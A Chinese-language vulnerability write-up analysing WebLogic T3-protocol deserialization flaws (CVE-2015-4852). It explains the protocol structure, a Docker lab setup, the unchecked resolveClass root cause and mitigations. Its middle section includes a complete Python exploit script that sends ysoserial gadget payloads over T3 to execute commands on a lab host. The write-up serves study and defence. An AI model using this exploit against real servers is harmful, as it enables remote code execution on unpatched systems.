0x00 前言

在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞，在weblogic里面其实反序列化漏洞利用中大致分为两种，一个是基于T3协议的反序列化漏洞，一个是基于XML的反序列化漏洞。当然也还会有一些SSRF和任意文件上传漏洞，但是在这里暂且不谈。

下面来列出两个漏洞类型的一些漏洞编号

基于T3协议漏洞： CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

粗略的列了几个代表性的CVE漏洞。

在Weblogic中，有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内，CVE-2020-14882和CVE-2020-14883里面14883就是基于14882的补丁去进行的一个绕过。

0x01 浅析T3协议

关于T3协议的絮絮叨叨

关于这个T3协议，他是Weblogic里面独有的一个协议，在前面写的一篇关于RMI的文章里面提到过RMI的传输过程是传输的序列化数据，而在接收后会进行一个反序列化的操作。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是一样的。

下面对T3协议的传输过程、如何执行的反序列化操作、T3协议的执行流程去进行一个分析。

在之前先来看一张weblogic进行反序列化的执行流程图。

这里借用了一个图片，在该漏洞的一个入口点是weblogic里面的方法调用了原生的反序列化方法进行一个反序列化操作。

而这里还需要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操作原理这里就不讲了，可以看到我的该篇文章。

Java安全之原生readObject方法解读,这里主要来讲一下T3协议的相关内容。

T3协议概述

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序（包括客户端及其他 WebLogic Server 实例）间传输数据。

T3协议结构

在T3的这个协议里面包含请求包头和请求的主体这两部分内容。

请求包头

这里拿2个CVE-2015-4852的POC来进行讲解。

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

这里就是他的请求包的头。

使用Wireshark对它进行抓包，由于配置的网卡抓不到包，靶机地址会在23段和1段的ip中来回切换。

这里为了能抓到包配置了一个nat模式的网卡，进行抓包，地址为192.168.23.130，改一下poc的目标地址，发送payload。

在这里在发送请求包头的时候，打了个断点，让脚本只发送请求包头数据，方便抓包。打开Wireshark抓包后发现，发送该请求包头后，服务端weblogic会有一个响应

HELO后面的内容则是被攻击方的weblogic版本号，在发送请求包头后会进行一个返回weblogic的版本号。

请求主体

在T3协议里面传输的都是序列化数据，这个在前面也说过，而传输中的数据分为七部分内容。第一部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n这串数据。

来看到下面的图，图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。

看到第二到第七部分内容，都是ac ed 00 05,说明该串内容是序列化的数据。而如果需要去构造payload的话，需要在后面序列化的内容中，进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容，在传输完成后，进行反序列化达成攻击的目的。

- 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

0x02 漏洞环境搭建

环境搭建

这里借用了A-team 的weblogic漏洞环境项目来做搭建环境，省去不必要的麻烦。

漏洞环境地址：https://github.com/QAX-A-Team/WeblogicEnvironment

jdk地址：https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic下载地址：https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

这里需要把下载好的jdk文件放在该项目的jdks文件夹下，weblogic的源码放在weblogics文件夹下。

编译运行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试。

mkdir ./middleware

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

如果不想这么麻烦的话可以直接运行对于的.sh脚本，比如这里安装的是1036 jdk是7u21 ，直接运行run_weblogicjdk7u21.sh，自动安装以及自动从容器里面导出jar包。

远程调试

在这里将jar包复制到物理机上，然后打开IDEA创建一个空项目进行导入。

完成后就来配置远程调试

为了测试，这里使用WeblogicScan来扫描一下，看看在断点地方会不会停下。

在这里发现已经可以进行远程调试，后面我们就可以来分析漏洞了。

0x03 漏洞分析

漏洞复现

在这先来讲漏洞复现一下后，再进行漏洞的分析

还是拿exp为例子，但是我们这里是docker搭建的环境，也没有构造回显。常用的弹出计算器，就算执行了也没法显示出来，所以在这里使用创建文件的方式验证该漏洞是否利用成功。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

执行完成后，查看docker容器里面的文件。

docker exec  weblogic1036jdk7u21 ls tmp/

执行成功。

在执行exp的时候，如果开启debug去查看其实不难发现，发送t3的报文头信息以后会在返回包里面回显weblogic的版本号。

可以看到，后面通过正则提取了返回包的数据，拿到该版本号信息。

漏洞分析

T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

来直接定位到该位置，可以看到断点的位置，里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法，查看一下

这里调用创建一个内部类，并且调用readObject方法，还需要查看一下 ServerChannelInputStream实现。

在这里其实就可以看到ServerChannelInputStream是一个内部类，该类继承ObjectInputStream类，而在这里对resolveClass进行了重写。

但是在此处看到，其实调用的还是父类的resolveClass方法。在resolveClass方法中也没做任何的校验，导致的漏洞产生。

后面来讲讲如何防御到该漏洞。

再谈resolveClass

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候，我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用，但是shiro在编写的时候，并不是为了防御反序列化漏洞才去重写的resolveClass，但是就是这么一个无意间的举动，导致了防御住了大部分攻击。

而在后面的weblogic补丁当中，也会基于这个resolveClass去做反序列化漏洞的防御。

贴上一张廖师傅的博客的反序列化攻击时序图：

那么这里需要思考到一个问题，为什么要在resolveClass进行一个拦截，而不是其他位置？

resolveClass方法的作用是从类序列化描述符获取类的Class对象，如果在resolveClass中增加一个检查，检查一下该类的序列化描述符中记录的类名是否在黑名单上，如果在黑名单上，直接抛出错误，不允许获取恶意的类的Class对象。这样以来，恶意类连生成Class对象的机会都没有。

来看到这个方法，在我的readObject分析文章里面贴出来一张图，readObject的内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。

那么如果这里加入一个过滤，那么这里如果直接抛出异常的话，在readNonProxyDesc调用完resolveClass方法后，后面的一系列操作都无法完成。

参考文章

http://drops.xmd5.com/static/drops/web-13470.html

Weblogic12c T3 协议安全漫谈


http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://xz.aliyun.com/t/8443

0x04 修复方案

这里借鉴z_zz_zzz师傅的文章中提到的weblogic T3协议漏洞的修复方案，除了打补丁外还有其他的修复方案，先来说说打补丁的方式，打补丁其实也是在resolveClass方法中实现拦截。

开放在外网的情况下，还可以采用web代理和负载均衡。

web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。

而负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

0x05 结尾

在这里其实分析比较浅，因为反序列化操作和CC链这一块，我觉得应该单独拿出来说，而不是集成到这个T3协议漏洞里面一并概述。所以在此处并没有对这两块内容进行分析，而这两块内容在前面都有进行分析过，自行查阅。后面的几个T3协议的漏洞，其实也是基于resolveClass的方式进行拦截过后的一个绕过方式，成了一个新的CVE漏洞。